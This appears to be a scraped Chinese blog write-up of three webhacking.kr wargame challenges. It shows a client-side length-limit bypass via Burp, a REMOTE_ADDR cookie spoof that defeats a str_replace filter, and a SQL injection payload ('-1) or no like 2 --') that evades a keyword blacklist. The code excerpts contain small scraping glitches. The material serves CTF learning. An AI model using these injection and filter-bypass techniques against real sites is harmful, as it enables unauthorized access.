water Posted 2021-03-12 lijianming180
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了water相关的知识,希望对你有一定的参考价值。
webchacking.kr 第5题 打开题目发现了两个按钮,分别是Login和join
打开Login发现url是http://webhacking.kr/challenge/web/web-05/mem/login.php的 我们把login.php 删掉发现了一个index of的目录,里面有一个join的php文件
打开发现黑的没有边际,右键源代码发现了猫腻,这里我把js代码翻译了下,后来发现其实直接f12编译下就ok了 2333333
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 documnent.cookie if(eval(document.cookie)==-1) { bye; } else(eval(document.URL).indexOf(mode=1))==-1 { alert('access_denied');history.go(-1); } else{ document.write('<font size=2 color=white>Join</font><p>'); document.write('.<p>.<p>.<p>.<p>.<p>'); document.write('<form method=post action='NaNoin.php>'); document.write('<table border=1><tr><td><font color=gray>id</font></td><td><input type=text name='id' maxlength=5></td></tr>'); document.write('<tr><td><font color=gray>pass</font></td><td><input type=text name='NaNw' maxlength=10></td></tr>'); document.write('<tr align=center><td colspan=2><input type=submit></td></tr></form></table>'); }
把第三个else中代码进行执行就得到一个登陆框
做到这里心里有点小激动,然后噫~~~~ 好像限制了字符长度,没想到真是
用burp进行抓包,加点空格突破他的5的长度限制
发现注册成功
返回开头的Login按钮那,登录 过关
webchacking.kr 第24题 打开题目发现是一个关于ip的题,照常右键查看源代码发现index.phps
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 <? extract($_SERVER); extract($_COOKIE); if(!$REMOTE_ADDR) $REMOTE_ADDR=$_SERVER[REMOTE_ADDR]; $ip=$REMOTE_ADDR; $agent=$HTTP_USER_AGENT; if($_COOKIE[REMOTE_ADDR]) { $ip=str_re 大专栏 water place("12","",$ip); $ip=str_replace("7.","",$ip); $ip=str_replace("0.","",$ip); } echo("<table border=1><tr><td>client ip</td><td>$ip</td></tr><tr><td>agent</td><td>$agent</td></tr></table>"); if($ip=="127.0.0.1") { @solve(); } else { echo("<p><hr><center>Wrong IP!</center><hr>"); } ?>
看着有点长,其实很简单就是让ip等于127.0.0.1就可以了
直接。。。。 坑 试了很多127.0.0.1发现不行,原来有过滤233333
一条js代码搞定
1 document.cookie ="REMOTE_ADDR = 112277..00..00..1;";
webchacking.kr 第27题 打开题目右键发现index.phps
1 2 3 4 5 6 7 8 9 10 11 12 13 14 <? if($_GET[no]) { if(eregi("#|union|from|challenge|select|(|t|/|limit|=|0x",$_GET[no])) exit("no hack"); $q=@mysql _fetch_array(mysql_query("select id from challenge27_table where id='guest' and no=($_GET[no])")) or die("query error"); if($q[id]=="guest") echo("guest"); if($q[id]=="admin") @solve(); } ?>
从源码可以看出我们需要让id=admin才能过关,但是id这个没找到,但是有一个q变量,所以我们想办法把id给他变成admin就可以了
分析源码得到它过滤了一些常用的字段,比如说“ = ” 这个常用的东东 这里可以使用like进行替代
1 $q=@mysql_fetch_array(mysql_query("select id from challenge27_table where id='guest' and no=($_GET[no])" )) or die ("query error" )id='guest' and no=($_GET[no])")) or die(" query error");
这里我们必须select id from challenge27_table where id=’guest’ and no= 返回错误,否则就无法获得admin这个字段了,因为他id已经等于guest
尝试payload
-1) or no like 0 – 这个–后边有一个空格
它返回了查询错误,接着试
-1) or no like 1 –
发现返回了guest,说明构造的sql语句执行了,guest的id=1 那么admin的id可能为2嘛
继续试
-1) or no like 2 –
成功了(这个是我做过一遍,所以会是这样的)
以上是关于water的主要内容,如果未能解决你的问题,请参考以下文章
11. Container With Most Water
leetcode Container With Most Water
LeetCode 11. Container With Most Water
新一代研发效能架构 water:超越 Serverless 的云研发架构模式
Problem E: 倒水(Water)
water和waters的区别